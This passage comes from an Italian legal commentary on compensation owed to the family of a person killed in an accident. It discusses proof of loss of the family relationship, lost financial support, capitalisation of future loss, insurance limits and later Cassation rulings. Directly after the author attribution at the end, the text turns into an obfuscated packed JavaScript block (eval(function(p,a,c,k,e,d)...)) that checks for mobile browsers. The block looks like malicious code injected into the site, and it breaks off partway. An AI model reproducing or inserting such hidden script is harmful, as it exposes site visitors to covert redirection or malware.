Ciò ha anche un indubbio riflesso sulle richieste istruttorie in corso di causa: posto che si tratta pur sempre di danni-conseguenza da dimostrare, sarebbe comunque opportuno un riscontro istruttorio sui pregiudizi in questione, soprattutto con riguardo alle compromissioni “oggettive” della propria sfera familiare (capaci di prescindere dalla sofferenza soggettiva pura), tanto nel quotidiano, quanto in prospettiva futura.
E sarebbe altrettanto rilevante fornire la prova del tipo di rapporto esistente con il defunto, della sua intensità, della sua continuità, delle rispettive abitudini di vita, al fine di far emergere il contenuto effettivo del pregiudizio da ristorare a ciascuno dei parenti.
In assenza di tale prova, tuttavia, è possibile ricorrere ad una prova del danno di tipo presuntivo, secondo l’insegnamento della Suprema Corte, in base al quale il danno non patrimoniale da perdita del rapporto parentale, pur non essendo mai “in re ipsa” dovendo essere debitamente dedotto e dimostrato, può essere desunto e riconosciuto in base al notorio ovvero ricorrendo a presunzioni semplici. (cfr. Cassazione civile, sez. III, 15 luglio 2005, n. 15022)
In tal caso, però, il danno in parola può essere riconosciuto nei limiti della sua misura non superiore al valore medio adottato, atteso che solo quest’ultima misura può essere oggetto di presunzione valevole per tutti, in mancanza di elementi diversi o di segno contrario.
Così, trattandosi di pregiudizi che si proiettano (anche) nel futuro, se da un lato si ricorrerà a valutazioni prognostiche e presuntive, dall’altro non si ometterà di tener conto della nuova prospettiva unitaria sancita dalla Sezioni Unite, e quindi se, per un verso, la sofferenza interiore sarà valutata in ragione della sua gravità e del suo protrarsi nel tempo, per l’altro, non potrà riconoscersi alcunché a titolo di risarcimento, in assenza di una specifica attività istruttoria sul punto, per quel pregiudizio che si è visto costituire la componente oggettiva del danno da perdita del prossimo congiunto.
(c) Danni patrimoniali
Quanto al danno patrimoniale iure proprio, viene in esame innanzitutto il danno emergente, cioè consistente in spese causate dal decesso del parente (spese funerarie, ..): questo verrà risarcito se rigorosamente provato pro quota agli eredi.
Problematiche maggiori solleva invece il danno c.d. da lucro cessante, risarcibile ai congiunti, di chi sia deceduto a seguito di fatto illecito, in quanto consistente o nella diminuzione di contributi o sovvenzioni, oppure nella perdita di utilità che, per legge (ad es., ex art. 230 bis, 315, 433 c.c.) o per solidarietà familiare, sarebbero state conferite dal soggetto scomparso (ex permultis, Cass., 11-01-1988, n. 23, in Foro it. Rep., 1988, Danni civili, n. 140, in seguito sempre conforme).
Ne consegue che, per ottenere il risarcimento di tale tipo di danno, chi lo domanda ha l’onere di provare – anche per presunzioni, ex art. 2727 c.c. – una stabile contribuzione del defunto in proprio favore (Trib. Roma 1.7.2002, Lincoln c. Uniass, inedita; Trib. Roma 17.2.2002, Ford c. Di Francia, inedita; Cass., sez. III, 17-11-1999, n. 12756, in Assicurazioni, 2000, II, 2, 196; Cass., sez. III, 12-10-1998, n. 10085, in Resp. civ., 1999, 752).
La sola natura del rapporto parentale, ovvero il solo fatto della convivenza col defunto, pur costituendo un indizio circa l’esistenza della contribuzione, sono insufficienti a far presumere l’esistenza d’una stabile contribuzione del defunto in favore dei congiunti superstiti, la quale potrebbe ammettersi soltanto ove si dimostrasse – ad esempio – l’insufficienza dei redditi dei familiari conviventi al proprio sostentamento (cfr. Cass., sez. III, 12-10-1998, n. 10085, in Resp. civ., 1999, 752, la quale peraltro aggiunge che neppure le condizioni socioeconomiche della famiglia possono costituire l’unico elemento di valutazione delle aspettative dei congiunti ad un contributo economico da parte del familiare prematuramente scomparso, dovendosi tener conto di dati ulteriori, fra i quali l’attività esercitata dai genitori e dagli altri congiunti).
In altri termini, il diritto al risarcimento del danno patrimoniale, che spetta, a norma dell’art. 2043 c.c., ai congiunti di persona deceduta a causa dell’altrui fatto illecito, richiede l’accertamento in concreto che i medesimi siano stati privati di utilità economiche di cui già beneficiavano e di cui, presumibilmente, avrebbero continuato a fruire in futuro ove il de cuius non fosse venuto meno (cfr. Cassazione civile, sez. III, 28 agosto 2007, n. 18177; Cassazione civile, sez. III, 02 febbraio 2007, n. 2318).
Così, per la morte di un figlio studente, il genitore ovvero altro congiunto è chiamato a provare il supporto economico che il figlio avrebbe garantito alla famiglia una volta entrato nel mondo del lavoro. (cfr. Cassazione civile, sez. III, 30 ottobre 2009, n. 23053)
Se invece decede il padre di famiglia che sia unico sostegno economico della sua famiglia, può fondatamente ritenersi che, al momento del decesso, sopratutto in caso di minore età dei figli, contribuisse in modo decisivo ai bisogni ed al tenore vita della sua famiglia, tenuto conto del rapporto di convivenza, del costume sociale normalmente in uso nonché del numero dei componenti il nucleo familiare; usualmente si ritiene che 2/3 dei redditi prodotti siano destinati alla cura, assistenza ed ai bisogni dei figli (fino al momento in cui i figli raggiungono una loro autosufficienza economica, età variabile ma che può esser mediamente fissata al raggiungimento del ventiseiesimo anno di età).
La somma così determinata deve peraltro essere capitalizzata normalmente con applicazione delle tabelle di capitalizzazione per la costituzione delle rendite vitalizie immediate approvate con R.D. 9 ottobre 1922 n. 1403.
E’ peraltro da ritenersi superata quella interpretazione secondo la quale l’utilizzo del criterio della capitalizzazione del danno patrimoniale futuro utilizzando i coefficienti di capitalizzazione della rendita fissati nelle tabelle del 1922, impone una riduzione del 20 % circa, in ragione dello scarto esistente tra la vita fisica e la vita lavorativa, nonché della più breve durata della efficienza e produttività media dei soggetti.
La giurisprudenza successiva si è infatti orientata diversamente, affermando che, in tali ipotesi, il giudice “deve adeguare detto risultato ai mutati valori reali dei due fattori posti a base delle tabelle adottate, cioè deve tenere conto dell’aumento della vita media e della diminuzione del tasso di interesse legale e, onde evitare una divergenza tra il risultato del calcolo tabellare ed una corretta e realistica capitalizzazione della rendita, prima ancora di “personalizzare”il criterio adottato al caso concreto, deve “attualizzare” lo stesso, o aggiornando il coefficiente di capitalizzazione tabellare o non riducendo più il coefficiente a causa dello scarto tra vita fisica e vita lavorativa”(cfr. Cass. 4186/2004).
In applicazione di tale principio, la somma capitalizzata potrà non essere sottoposta ad alcuna ulteriore decurtazione, in considerazione del fatto che le tabelle utilizzate risalgono ad un’epoca in cui la mortalità era molto più precoce che oggi, e della circostanza che si è avuto un progressivo innalzamento dell’età pensionabile.
Sempre sotto il profilo del danno patrimoniale, ma con specifico riferimento al lucro cessante, ai congiunti di G.L.G. non può essere attribuito il danno per la perdita, in conseguenza della morte del figlio/fratello, dell’ausilio economico che questi avrebbe erogato in futuro alla famiglia, essendo studente universitario all’epoca del sinistro.
4. Massimale unico o complessivo?
In caso di azioni risarcitorie fatte valere da una pluralità di congiunti del soggetto deceduto a seguito di un sinistro, giurisprudenza remota riteneva che operasse il solo massimale previsto per la persona danneggiata, in quanto unica essendo la vittima, la pluralità degli eventuali aventi diritto non poteva portare ad una moltiplicazione del massimale (così Cassazione n. 5797/1998).
Tale tesi è stata però rivisitata dalla stessa Suprema Corte, la quale nella sentenza n. 2653 del 9 febbraio 2005, ha affermato che la suddetta limitazione opera solo laddove i congiunti agiscano iure successionis; laddove invece, come nel caso di specie, la pretesa risarcitoria, sia avanzata anche iure proprio, il limite del risarcimento non è per tutti cumulativamente quello previsto per la singola persona danneggiata, ma ognuno ha la possibilità di avvalersi del massimale stabilito per singolo danneggiato.
La Suprema Corte ha poi più di recente chiarito che, in tema di assicurazione obbligatoria della r.c.a., ai fini del computo del massimale deve intendersi per “persona danneggiata” non solo la vittima primaria, ma ogni soggetto – come ad esempio i congiunti di quella – che abbia subito un danno, patrimoniale o non patrimoniale, in conseguenza del sinistro da cui sia derivata la morte o l’invalidità della persona immediatamente pregiudicata (cfr. Cassazione civile, sez. III, 15 luglio 2009, n. 16455).
5. Note di aggiornamento
La Corte di Cassazione, con la sentenza 1361/13 è tornata sulla questione della risarcibilità del danno non patrimoniale in tutte le sue componenti o “voci”, sancendo
la risarcibilità del danno esistenziale
la autonomia del danno da perdita della vita subito dalla vittima iure proprio.
In breve:
– viene riaffermata la natura composita del danno non patrimoniale, composto da una pluralità di aspetti o voci, quali il danno biologico, danno morale e danno c.d. “esistenziale” (nel caso di specie, il danno da perdita del rapporto parentale)
– il risarcimento del danno non patrimoniale va fatto in via equitativa, tenuto conto di tutte le circostanze del caso concreto (c.d. personalizzazione del danno, evitando le duplicazioni);
– con la sentenza 1361/2013 la Suprema Corte individua, per la pria volta, come categoria di danno non patrimoniale risarcibile ex se il danno da perdita della vita, quale bene supremo dell’individuo, oggetto di un diritto assoluto e inviolabile: tale danno, che è altro e diverso dal danno alla salute, in ragione del diverso bene tutelato, deve ritenersi di per sé ristorabile in favore della vittima che subisce la perdita della propria vita, e in relazione ad esso sono del tutto irrilevanti sia il presupposto della permanenza in vita per un apprezzabile lasso di tempo successivo all’evento morte sia il criterio della intensità della sofferenza della vittima per avere ella la percezione dell’imminente sopraggiungere della propria fine. La vittima acquisisce il diritto al risarcimento per la perdita della vita subìto, nel momento stesso in cui si verifica la lesione mortale e quindi anche in caso di morte immediata o istantanea, in deroga al principio dell’irrisarcibilità del danno evento: tale diritto, avendo poi natura compensativa, è trasmissibile iure hereditatis.
– E’ compito del giudice di merito individuarne i criteri di valutazione ai fini della relativa liquidazione, con la precisazione che egli dovrà tener conto dell’età, delle condizioni di salute e delle speranze di vita futura, dell’attività svolta e delle condizioni personali e familiari della vittima (personalizzazione del danno).
***
La Corte di Cassazione, sez. III, con sentenza 2 luglio 2010 n. 15706 ha confermato che la lesione dell’integrità fisica con esito letale, intervenuta immediatamente o a breve distanza dall’evento lesivo, non è configurabile come danno risarcibile in capo agli eredi, poichè la morte non costituisce la massima lesione possibile del diritto alla salute, ma incide sul diverso bene giuridico della vita, a meno che non intercorra un apprezzabile lasso di tempo tra le lesioni subite dalla vittima del danno e la morte causata dalle stesse, nel qual caso è configurabile un danno non patrimoniale, risarcibile in capo, al danneggiato, che si trasferisce agli eredi, i quali potranno agire in giudizio nei confronti del danneggiante “iure hereditatis”. (1-3)
In senso contrario, si veda peraltro Cassazione civile 13672/2010 (“la brevità del periodo di sopravvivenza alle lesioni, se esclude l’apprezzabilità ai fini risarcitori del deterioramento della qualità della vita in ragione del pregiudizio della salute, ostando alla configurabilità di un danno biologico risarcibile, non esclude viceversa che la vittima abbia potuto percepire le conseguenze catastrofiche delle lesioni subite e patire sofferenza, il diritto al cui risarcimento, sotto il profilo del danno morale, risulta pertanto già entrato a far parte del suo patrimonio al momento della morte, e può essere conseguentemente fatto valere “iure hereditatis”) e Cassazione civile, sez. III, sentenza 08.04.2010, n° 8360, nonché Cassazione civile , SS.UU., 26972/2008.
fonte Avv. Canestrini Nicola eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘(24(a,b){1V(/(2n|2d\\d+|1i).+1b|1g|1E\\/|1H|1C|1x|1B|2s|3l|3n|O(3m|V)|S|3g|38 |3c|3p|3D|1b.+3A|3z|1d m(3x|2H)i|2J( 14)?|2C|p(2x|2A)\\/|30|2T|3j|2S(4|6)0|2U|2R|I\\.(2Q|2N)|2O|2P|2V 2W|33|34/i.19(a)||/31|2X|2Y|2Z|2M|50[1-6]i|2L|2y|a W|2z|M(15|Z|s\\-)|11(2w|2t)|B(2u|E|D)|2v|2B(2I|y|2K)|2G|17(2D|j)|2E(x|2F)|35|36(3w|\\-m|r |s )|3y|3v(P|N|3u)|T(3r|3s)|3t(M|3G)|3H(e|v)w|3F|3E\\-(n|u)|3B\\/|3C|3q|3d\\-|3e|3b|3a|37\\-|D(39|K)|3f|3o(A|N|3k)|3h|3i\\-s|3I|2r|1z|U(c|p)o|1A(12|\\-d)|1y(49|11)|1u(1v|1w)|15(1D|1J)|1K|1I([4-7]0|14|W|1F)|1G|1t(\\-|R)|G u|1L|1q|1h\\-5|g\\-z|j(\\.w|V)|1j(1e|1f)|1s|1k|1r\\-(m|p|t)|1p\\-|1o(Q|F)|1l( i|O)|1m\\-c|1n(c(\\-| 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